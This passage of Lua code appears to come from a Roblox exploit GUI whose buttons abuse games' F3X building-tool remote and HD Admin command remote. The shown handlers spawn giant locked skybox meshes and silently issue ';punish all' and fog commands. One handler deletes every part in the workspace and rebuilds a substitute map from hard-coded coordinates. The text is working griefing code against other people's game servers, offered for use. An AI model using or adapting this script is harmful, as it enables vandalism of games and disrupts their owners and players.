== math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(6000,6000,6000)) SetLocked(v,true) end end end Sky("93092188749697") end) end; task.spawn(C_16); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_18() local script = G2L["18"]; script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(6000,6000,6000)) SetLocked(v,true) end end end Sky("82934289144205") end) end; task.spawn(C_18); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_1a() local script = G2L["1a"]; script.Parent.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function VertexColormf(part) local a1 = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["VertexColor"] = Vector3.new(3,3,3) } } } _(a1) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-9,0),workspace.Terrain) wait(0.5) -- Increased wait time for part creation for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then SetName(v,"Sky") AddMesh(v) SetMesh(v,"111891702759441") SetTexture(v,id) MeshResize(v,Vector3.new(20000, 20000, 20000)) VertexColormf(v) SetLocked(v,true) local skyPart = v local rotationSpeedX = 50 local rotationSpeedZ = 50 local rotationSpeedY = 50 local currentRotation = Vector3.new(0, 0, 0) game:GetService("RunService").Heartbeat:Connect(function(deltaTime) currentRotation = Vector3.new( (currentRotation.X + rotationSpeedX * deltaTime) % 360, (currentRotation.Y + rotationSpeedY * deltaTime) % 360, (currentRotation.Z + rotationSpeedZ * deltaTime) % 360 ) local baseCFrame = CFrame.new(skyPart.Position) local rotatedCFrame = baseCFrame * CFrame.Angles( math.rad(currentRotation.X), math.rad(currentRotation.Y), math.rad(currentRotation.Z) ) MovePart(skyPart, rotatedCFrame) end) break end end end Sky("93092188749697") end) end; task.spawn(C_1a); -- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript local function C_1c() local script = G2L["1c"]; script.Parent.MouseButton1Click:Connect(function() --- map 2 f3x by x9d local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";btools me") task.wait(1.2) RequestCommand:InvokeServer(";punish all ;fog 20 20 ;fogcolor black") task.wait(0.2) local player = game.Players.LocalPlayer local backpack = player.Backpack local character = player.Character local function getF3X() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(character:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getF3X() if not f3x then warn("F3X / SyncAPI not found – please equip btools and try again") return end local syncapi = f3x.SyncAPI local endpoint = syncapi.ServerEndpoint for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") or v:IsA("MeshPart") then task.spawn(function() pcall(function() endpoint:InvokeServer("Remove", {v}) end) end) end end task.wait(1) local function syncAnchor(ep, part, anchored) ep:InvokeServer("SyncAnchor", {{Part = part, Anchored = anchored}}) end local function poopyshitResize(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncResize", tbl) end end local function poopyshitMaterial(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncMaterial", tbl) end end local function poopyshitColor(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncColor", tbl) end end local function poopyshitCollision(ep, tbl) if #tbl>0 then ep:InvokeServer("SyncCollision", tbl) end end local function createMesh(ep, part) ep:InvokeServer("CreateMeshes", {{Part = part}}) end local function syncMesh(ep, part, mId, tId, mScale, mOffset) ep:InvokeServer("SyncMesh", {{ Part = part, MeshId = mId, TextureId = tId, Scale = mScale, Offset = mOffset, MeshType = Enum.MeshType.FileMesh }}) end local function createDecal(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Decal"}}) end local function setDecalTexture(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Texture = tex}}) end local function setDecalTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Decal", Transparency = trans}}) end local function createTexture(ep, part, face) ep:InvokeServer("CreateTextures", {{Part = part, Face = face, TextureType = "Texture"}}) end local function setTextureId(ep, part, tex, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Texture = tex}}) end local function setTextureTransparency(ep, part, trans, face) ep:InvokeServer("SyncTexture", {{Part = part, Face = face, TextureType = "Texture", Transparency = trans}}) end local function createLight(ep, part, lightType) ep:InvokeServer("CreateLights", {{Part = part, LightType = lightType}}) end local function syncLight(ep, part, lightType, brightness, range, color, shadows, face, angle) local params = {Part = part, LightType = lightType} if brightness ~= nil then params.Brightness = brightness end if range ~= nil then params.Range = range end if color then params.Color = color end if shadows ~= nil then params.Shadows = shadows end if face and face ~= "nil" then params.Face = face end if angle ~= nil then params.Angle = angle end ep:InvokeServer("SyncLighting", {params}) end local function createGroup(ep, groupType, parent, items) return ep:InvokeServer("CreateGroup", groupType, parent, items) end local function setName(ep, obj, name) ep:InvokeServer("SetName", {obj}, name) end local function setLocked(ep, part, lock) ep:InvokeServer("SetLocked", {part}, lock) end local P = {} local partData = { [7] = {anchored = true}, [8] = {anchored = true}, [9] = {anchored = true}, [10] = {anchored = true}, [13] = {anchored = true}, [14] = {anchored = true}, [15] = {anchored = true}, [16] = {anchored = true}, [18] = {anchored = true}, [20] = {anchored = true}, [22] = {anchored = true}, [24] = {anchored = true}, [26] = {anchored = true}, [28] = {anchored = true}, [29] = {anchored = true}, [31] = {anchored = true}, [32] = {anchored = true}, [58] = {anchored = true}, [40] = {anchored = true}, [56] = {anchored = true}, [44] = {anchored = true}, [39] = {anchored = true}, [36] = {anchored = true}, [53] = {anchored = true}, [45] = {anchored = true}, [42] = {anchored = true}, [51] = {anchored = true}, [49] = {anchored = true}, [47] = {anchored = true}, [34] = {anchored = true}, [55] = {anchored = true}, [37] = {anchored = true}, } local partDefs = { [7] = {shape="Normal", cframe=CFrame.new(31.403011322021484,5.803171157836914,6.91834831237793,1,0,0,0,1,0,0,0,1)}, [8] = {shape="Normal", cframe=CFrame.new(31.403011322021484,9.045248031616211,4.645868301391602,1,0,0,0,0.7071342468261719,-0.707079291343689,0,0.707079291343689,0.7071342468261719)}, [9] = {shape="Normal", cframe=CFrame.new(31.403011322021484,11.092819213867188,4.5087432861328125,1,0,0,0,1,0,0,0,1)}, [10] = {shape="Normal", cframe=CFrame.new(31.338024139404297,10.399991989135742,1.9637413024902344,1,0,0,0,1,0,0,0,1)}, [13] = {shape="Normal", cframe=CFrame.new(31.403011322021484,9.045248031616211,-5.354131698608398,1,0,0,0,0.7071342468261719,-0.707079291343689,0,0.707079291343689,0.7071342468261719)}, [14] = {shape="Normal", cframe=CFrame.new(31.403011322021484,11.092819213867188,-5.4912567138671875,1,0,0,0,1,0,0,0,1)}, [15] = {shape="Normal", cframe=CFrame.new(31.403011322021484,5.803171157836914,-3.0816516876220703,1,0,0,0,1,0,0,0,1)}, [16] = {shape="Normal", cframe=CFrame.new(31.338024139404297,10.399991989135742,-8.036258697509766,1,0,0,0,1,0,0,0,1)}, [18] = {shape="Normal", cframe=CFrame.new(-3.0000152587890625,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)}, [20] = {shape="Normal", cframe=CFrame.new(-7.0000152587890625,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)}, [22] = {shape="Spawn", cframe=CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)}, [24] = {shape="Normal", cframe=CFrame.new(-3.0000152587890625,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)}, [26] = {shape="Normal", cframe=CFrame.new(-18,6.000000953674316,8.5,1,0,0,0,1,0,0,0,1)}, [28] = {shape="Normal", cframe=CFrame.new(8.053698539733887,12.347900390625,34.18025207519531,-1,0,0,0,1,0,0,0,-1)}, [29] = {shape="Normal", cframe=CFrame.new(-7.0000152587890625,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)}, [31] = {shape="Normal", cframe=CFrame.new(1.9999847412109375,-8,51.50001525878906,1,0,0,0,1,0,0,0,1)}, [32] = {shape="Normal", cframe=CFrame.new(0.9999847412109375,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)}, [58] = {shape="Normal", cframe=CFrame.new(11.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)}, [40] = {shape="Normal", cframe=CFrame.new(4.9999847412109375,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)}, [56] = {shape="Normal", cframe=CFrame.new(19.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)}, [44] = {shape="Normal", cframe=CFrame.new(31.655550003051758,7.221560001373291,1.9387414455413818,-1,0,0,0,1,0,0,0,-1)}, [39] = {shape="Normal", cframe=CFrame.new(30.803302764892578,7.550135135650635,-8.011259078979492,0,0,-1,0,1,0,1,0,0)}, [36] = {shape="Normal", cframe=CFrame.new(29.18366813659668,1.6103498935699463,-3.449313163757324,0.7070603370666504,0.000013381242752075195,-0.7071532011032104,-0.7071532011032104,0.00003230571746826172,-0.7070603370666504,0.000013381242752075195,1,0.00003230571746826172)}, [53] = {shape="Normal", cframe=CFrame.new(4.9999847412109375,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)}, [45] = {shape="Normal", cframe=CFrame.new(23.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)}, [42] = {shape="Normal", cframe=CFrame.new(15.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)}, [51] = {shape="Normal", cframe=CFrame.new(23.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)}, [49] = {shape="Normal", cframe=CFrame.new(15.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)}, [47] = {shape="Normal", cframe=CFrame.new(11.999984741210938,0.09999999403953552,25.000030517578125,1,0,0,0,1,0,0,0,1)}, [34] = {shape="Normal", cframe=CFrame.new(0.9999847412109375,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)}, [55] = {shape="Normal", cframe=CFrame.new(29.18366813659668,1.6103498935699463,7.205657958984375,0.7070603370666504,0.000013381242752075195,-0.7071532011032104,-0.7071532011032104,0.00003230571746826172,-0.7070603370666504,0.000013381242752075195,1,0.00003230571746826172)}, [37] = {shape="Normal", cframe=CFrame.new(19.999984741210938,0.09999999403953552,19.000030517578125,1,0,0,0,1,0,0,0,1)}, } local pending = 0 for id, def in pairs(partDefs) do pending = pending + 1 task.spawn(function() local success, part = pcall(function() return endpoint:InvokeServer("CreatePart", def.shape, def.cframe, workspace) end) if success and part then P[id] = part syncAnchor(endpoint, part, true) end pending = pending - 1 end) end while pending > 0 do task.wait() end local resizepoopyshit = {} if P[7] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[7], CFrame = P[7].CFrame, Size = Vector3.new(1.199418544769287,11.606341361999512,1.1275964975357056)} end if P[8] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[8], CFrame = P[8].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,6.3346476554870605)} end if P[9] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[9], CFrame = P[9].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,5.946812629699707)} end if P[10] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[10], CFrame = P[10].CFrame, Size = Vector3.new(0.10000000149011612,1.4200005531311035,0.05000000074505806)} end if P[13] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[13], CFrame = P[13].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,6.3346476554870605)} end if P[14] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[14], CFrame = P[14].CFrame, Size = Vector3.new(1.199418544769287,1.0270463228225708,5.946812629699707)} end if P[15] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[15], CFrame = P[15].CFrame, Size = Vector3.new(1.199418544769287,11.606341361999512,1.1275964975357056)} end if P[16] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[16], CFrame = P[16].CFrame, Size = Vector3.new(0.10000000149011612,1.4200005531311035,0.05000000074505806)} end if P[18] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[18], CFrame = P[18].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[20] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[20], CFrame = P[20].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[22] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[22], CFrame = P[22].CFrame, Size = Vector3.new(12,1,12)} end if P[24] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[24], CFrame = P[24].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[26] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[26], CFrame = P[26].CFrame, Size = Vector3.new(14,12,1)} end if P[28] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[28], CFrame = P[28].CFrame, Size = Vector3.new(19,25.581600189208984,16.27989959716797)} end if P[29] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[29], CFrame = P[29].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[31] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[31], CFrame = P[31].CFrame, Size = Vector3.new(364,16,336.9999694824219)} end if P[32] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[32], CFrame = P[32].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[58] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[58], CFrame = P[58].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[40] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[40], CFrame = P[40].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[56] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[56], CFrame = P[56].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[44] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[44], CFrame = P[44].CFrame, Size = Vector3.new(2.361499786376953,5.645480155944824,4.000002861022949)} end if P[39] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[39], CFrame = P[39].CFrame, Size = Vector3.new(4,5.077950477600098,1.448699951171875)} end if P[36] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[36], CFrame = P[36].CFrame, Size = Vector3.new(0.409912109375,0.39226099848747253,4.1800537109375)} end if P[53] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[53], CFrame = P[53].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[45] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[45], CFrame = P[45].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[42] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[42], CFrame = P[42].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[51] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[51], CFrame = P[51].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[49] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[49], CFrame = P[49].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[47] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[47], CFrame = P[47].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[34] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[34], CFrame = P[34].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end if P[55] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[55], CFrame = P[55].CFrame, Size = Vector3.new(0.409912109375,0.39226099848747253,4.1800537109375)} end if P[37] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[37], CFrame = P[37].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end poopyshitResize(endpoint, resizepoopyshit) local materialpoopyshit = {} if P[7] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[7], Material = Enum.Material.Wood} end if P[8] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[8], Material = Enum.Material.Wood} end if P[9] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[9], Material = Enum.Material.Wood} end if P[10] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[10], Material = Enum.Material.Fabric} end if P[13] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[13], Material = Enum.Material.Wood} end if P[14] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[14], Material = Enum.Material.Wood} end if P[15] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[15], Material = Enum.Material.Wood} end if P[16] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[16], Material = Enum.Material.Fabric} end if P[18] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[18], Material = Enum.Material.Fabric} end if P[20] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[20], Material = Enum.Material.Fabric} end if P[22] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[22], Material = Enum.Material.Plastic} end if P[24] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[24], Material = Enum.Material.Fabric} end if P[26] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[26], Material = Enum.Material.Plastic} end if P[28] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[28], Material = Enum.Material.Plastic} end if P[29] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[29], Material = Enum.Material.Fabric} end if P[31] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[31], Material = Enum.Material.Mud} end if P[32] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[32], Material = Enum.Material.Fabric} end if P[58] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[58], Material = Enum.Material.Fabric} end if P[40] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[40], Material = Enum.Material.Fabric} end if P[56] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[56], Material = Enum.Material.Fabric} end if P[44] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[44], Material = Enum.Material.Plastic} end if P[39] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[39], Material = Enum.Material.Plastic} end if P[36] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[36], Material = Enum.Material.Plastic} end if P[53] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[53], Material = Enum.Material.Fabric} end if P[45] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[45], Material = Enum.Material.Fabric} end if P[42] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[42], Material = Enum.Material.Fabric} end if P[51] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[51], Material = Enum.Material.Fabric} end if P[49] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[49], Material = Enum.Material.Fabric} end if P[47] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[47], Material = Enum.Material.Fabric} end if P[34] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[34], Material = Enum.Material.Fabric} end if P[55] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[55], Material = Enum.Material.Plastic} end if P[37] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[37], Material = Enum.Material.Fabric} end poopyshitMaterial(endpoint, materialpoopyshit) local transparencypoopyshit = {} poopyshitMaterial(endpoint, transparencypoopyshit) local reflectancepoopyshit = {} poopyshitMaterial(endpoint, reflectancepoopyshit) local colorpoopyshit = {} if P[7] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[7], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[8] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[8], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[9] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[9], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[10] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[10], Color = Color3.new(0.7372549176216125,0.6078431606292725,0.364705890417099), UnionColoring = false} end if P[13] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[13], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[14] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[14], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[15] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[15], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[16] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[16], Color = Color3.new(0.7372549176216125,0.6078431606292725,0.364705890417099), UnionColoring = false} end if P[18] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[18], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end if P[20] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[20], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end if P[22] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[22], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[24] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[24], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end if P[26] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[26], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[28] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[28], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[29] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[29], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end if P[31] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[31], Color = Color3.new(0,1,0), UnionColoring = false} end if P[32] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[32], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end if P[58] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[58], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end if P[40] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[40], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end if P[56] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[56], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end if P[44] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[44], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[39] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[39], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[36] then 